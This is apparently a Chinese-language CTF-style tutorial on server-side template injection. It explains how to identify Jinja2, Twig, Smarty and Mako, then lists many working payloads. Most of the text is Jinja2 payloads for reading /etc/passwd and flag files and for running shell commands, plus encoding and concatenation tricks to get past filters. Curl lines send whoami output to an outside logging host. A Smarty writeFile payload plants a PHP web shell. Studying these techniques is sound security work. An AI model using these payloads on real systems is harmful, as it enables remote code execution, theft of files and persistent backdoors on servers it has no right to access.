SSTI漏洞
SSTI(模板注入)漏洞
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
模板注入漏洞
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask
,php的tp
,java的spring
等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入(一般来说是用户输入的变量)以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
确定漏洞
贴个图
第一层:
- 如果可以执行${7*7}的结果,那我们进入第二层的
a{*comment*}b
,如果没用执行结果,那就进入第二层的{{7*7}}
- 在Mako模板引擎中我们也是${}形式的
第二层:
- 在
a{*comment*}b
中,如果{**}被当作注释而输出ab,我们就可以确定这个地方是Smarty模板,如果不能,进入第三层; - 在
{{7*7}}
中,如果能够执行,那我们进入第三层。
第三层:
- 当49的结果为49时,对应着Twig模板类型,而结果如果为7777777,则对应着Jinja2的模板类型
- 当能够执行
${"z".join("ab")}
,我们就能确定是Mako模板,能够直接执行python命令.
接下来就进入不同模板的不同注入方式
Python模板注入
jinja2
python的一种主流模板,基本你看到页面在输入后会实时回显在页面并且发包后看出语言是python基本就能确认是
{{7*'7'}} -> 7777777 -> jinjia2
这里先简单介绍一下jinja2的语法好了
语法结构
Jinja2使用 结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
Jinja2 模板同样支持控制语句,像在 {%…%}
块中,下面举一个常见的使用Jinja2模板引擎for语句循环渲染一组元素的例子:
<ul> {% for comment in comments %}
另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值
Hello, {{name|capitalize}}
但是这只能在渲染前的模板中进行注入,如果模板已经渲染,就不存在模板注入了:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello {{n}}")
return t.render(n=name)
if __name__ == "__main__":
app.run()
编译运行,再次注入就会失败
{% ... %} for Statements #用来声明变量,也可以用于条件语句和循环语句
例子:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}
{{ ... }} for Expressions to print to the template output #将表达式打印到模板输出
{# ... #} for Comments not included in the template output #表示未包含在模板输出中的注释
#...# for Line Statements #有和{%%}相同的效果
有些时候过滤可能会ban掉双括号,这时候可能就需要用到上面的一些语法
jinja2的俄罗斯套娃
看过jinja2相关模板注入题目的人就能明白是什么意思了哈哈()
介绍一下基类的一些概念之类的吧
'' [] ()
都是最简单的数据类型,而我们最一般的思路就是通过这些来找到基类,这里就要涉及到一些魔术方法了
那就按顺序进行一个介绍吧
首先,我们的目的是要找到基类
于是我们就要用到__class__
返回一个实例所属的类
但是我们的目的是找到Object基类,那么我们需要进一步返回
所以就要用到__base__ __bases__ __mro__
base
最为直接,就是直接返回上层的父类,而bases
是递归返回所有上面的类,术语上是叫元组,mro
同理,但是会包含原来就所属的类
找到Object之后呢,由于我们的目的是得到一个可以任意命令执行的板块,我们就需要找到os
这些类似的方法,那么就要用到__subclass__()
以及后面的一些东西
subclasses是返回子类,通常这个时候就会跳一大串的子类,没脚本是不得行的(不是哥们你真想手找吗)
而返回子类后我们就要做出一个重大的决策,根据版本打不同的payload,详见文件读取的子类(py2人上人)
一般我们的选择 是两种
- 文件读取
- 内置模块任意命令执行
#文件读取
#python2
file ->('path').read()
#python3
_frozen_importlib_external.FiieLoader ->["get_data"](0,"/etc/passwd")
#当然也可以拿内置模块再文件读取,但是感觉不得已才会这样打
#函数rce
#不知道和版本有没有关系,反正找到还没有被过滤直接打就行
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami’)}}
{{ ''.__class__.__base__.__subclasses__()[10].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()') }}#eval
#类的rce
{{''.__class__.__mro__[2]__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}#importlib
{{''.__class__.__mro[2]__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}#subprocess.Popen 个人觉得唯一真神好吧
#内置OS模块rce(这个其实就多了哈哈)不管类内置的还是函数内置的有就行了,这边重点介绍类的吧,因为函数内置的后面会讲的
os._wrap_close //117
warnings.catch_warnings //59
warnings.WarningMessage
socket._socketobject
site._Printer //71
site.Quitte
subprocess.Popen //258
再贴一个找到内置os模块的脚本
#coding:utf-8search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
后面的操作就比较公式化了
直接贴一下好了
#python2
__init__.__globals__['os'].system('whoami')
__init__.func_globals.linecache.os.popen('id').read()
__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')
__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#python3
__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
__init__.__globals__['sys'].modules['os'].system('whoami')
__init__['__globals__']['os'].popen('ls').read()
__init__.__globals__['os'].listdir('.')
__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()
__init__.__globals__['__builtins__'].open('filename', 'r').read()
觉得烦?那最快的就来了
利用flask内置函数,效率高,payload短,就是容易被ban(
1)config #获取配置信息
{{config.__class__.__init__.__globals__["os"].popen("cat+/flag").read()}}
2)lipsum
{{ lipsum.__globals__.__builtins__.open('/flag').read() }}
3)request
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
4)url_for
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
5)get_flashed
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
总结一下,就是先找到一个合适的攻城锤(内含os的类或可命令执行的函数)和一把趁手的宝剑(可以使用的方法)
jinja2的过滤
过滤[
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
#也可以用__getattribute__绕过
{{"".__getattribute__("__cla"+"ss__").__base__}}
#或者配合request
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
#或者用print标记
{%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}
过滤引号
#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
#request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
#request 绕过
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
\#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
过滤下划线
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
//request.args.xx就能直接查询对应的参数值,把原参数换成[request.args.xx]即可
过滤花括号
#用{%%}标记,同时外带
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
{% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %}
过滤关键字
- 利用内置的语法传参的值:
如request.args.[变量名](get传参) request.cookies.[变量名](cookies传参)
- 使用切片将逆置的关键字顺序输出,进而达到绕过。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
- 反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
- 利用”+”进行字符串拼接,绕过关键字过滤。
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}
[][%27__cla%27+%27ss__%27][%27__ba%27+%27se__%27][%27__subcl%27+%27asses__%27]()[117]["__in"+"it__"]["__glo"+"bals__"]['popen']('ls /').read()
- join拼接
利用join()函数绕过关键字过滤
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
- 利用引号绕过
[{{[].__class__.__base__.__subclasses__()40"/fl""ag".read()}}]()
- 使用str原生函数replace替换
将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
- ascii转换
将每一个字符都转换为ascii值后再拼接在一起。
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
- 16进制编码绕过
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
\
同理,也可使用八进制编码绕过
base64编码绕过
对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。
{{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
//__class__
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
- unicode编码绕过
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
等同于lipsum.__globals__['os'].popen('tac /f*').read()
- Hex编码绕过
[{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}]()
{#温馨提示,连关键词都转换掉是有概率褒姒的,推荐用来绕过一下符号的过滤差不多够用了#}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
- 绕过init
可以用__enter__
或__exit__
替代__init__
{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
- 绕过config
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}
- 过滤args和.和_
{{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}}
post:x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('whoami').read()
打马环节(待补完)
PHP模板注入
php常见的模板:twig,smarty,blade
Smarty
PHP模板的鼻祖,后来的php模板大多都是基于其发展起来的
基本确定指令
{$smarty.version} //查看smarty的版本来确定姿势
说实话,smarty的姿势还是蛮多的,先给三种比较常见的吧
基于XFF的普通注入:在{}内疯狂输出
利用{include}来任意文件读取;string:{include file=’D:\flag.txt’}这时文本内容就被读取了
通过self获取Smarty类再调用其静态方法
getStreamVariable:
public function getStreamVariable($variable)//variable其实就是文件路径
{
$_result = '';
$fp = fopen($variable, 'r+');//从此处开始对文件进行读取
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}
//可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法
smarty/libs/sysplugins/smarty_internal_data.php ——> getStreamVariable() 这个方法可以获取传入变量的流
例如:
{self::getStreamVariable("file:///etc/passwd")}
payload形如:{self::getStreamVariable(“file:///etc/passwd”)}
//在v3.1.30退出历史舞台
writeFile:
这个不是很懂,直接引用这个大佬的博客吧
public function writeFile($_filepath, $_contents, Smarty $smarty)
{
$_error_reporting = error_reporting();
error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
$_file_perms = property_exists($smarty, '_file_perms') ? $smarty->_file_perms : 0644;
$_dir_perms = property_exists($smarty, '_dir_perms') ? (isset($smarty->_dir_perms) ? $smarty->_dir_perms : 0777) : 0771;
if ($_file_perms !== null) {
$old_umask = umask(0);
}
$_dirpath = dirname($_filepath);
// if subdirs, create dir structure
if ($_dirpath !== '.' && !file_exists($_dirpath)) {
mkdir($_dirpath, $_dir_perms, true);
}
// write to tmp file, then move to overt file lock race condition
$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}
我们在往上面看,可以看到这个方法是在class Smarty_Internal_Runtime_WriteFile
下的,
我们注意看这段代码
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}
这段代码将文件内容写入临时文件,如果写入失败,则恢复先前的错误报告级别,并抛出异常。
这里的具体解释我会在下面的CVE-2017-1000480具体讲到,先挖个坑,这里写入临时文件,在loadCompiledTemplate函数下,存在语句
eval("?>" . file_get_contents($this->filepath));
就有了
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
我们将<?php passthru($_GET['cmd']); ?>
写入了临时php文件中
self::clearConfig()
是一个 Smarty 内部方法,用于清除模板引擎的配置选项。
$SCRIPT_NAME
是一个在 PHP 中预定义的变量,用于表示当前执行脚本的文件路径和名称。
但是writeFile方法也有版本限制,所以我们首先要确定模板的版本,再决定对应的攻击方法。
标签:
{$smarty.version}
获取smarty的版本信息
{literal}
此标签的利用方法仅仅是在php5.x的版本中才可以使用,因为在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,
我们便可以利用这一标签进行任意的 PHP 代码执行。但是在php7的版本中{literal}xxxx;{/literal}
标签中间的内容就会被原封不动的输出,并不会解析。
作用:{literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
所以我们就可以利用其的作用来进行xss攻击SSTI等漏洞利用。
{literal}<script>language="php">xxx</script>;{/literal}
{php}{/php}
用于执行php代码
{php}phpinfo();{/php}
但是这个方法在Smarty3版本中已经被禁用了,不过多赘述了。
{if}{/if}
{if phpinfo()}{/if}
{if system('cat /flag')}{/if}
//Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*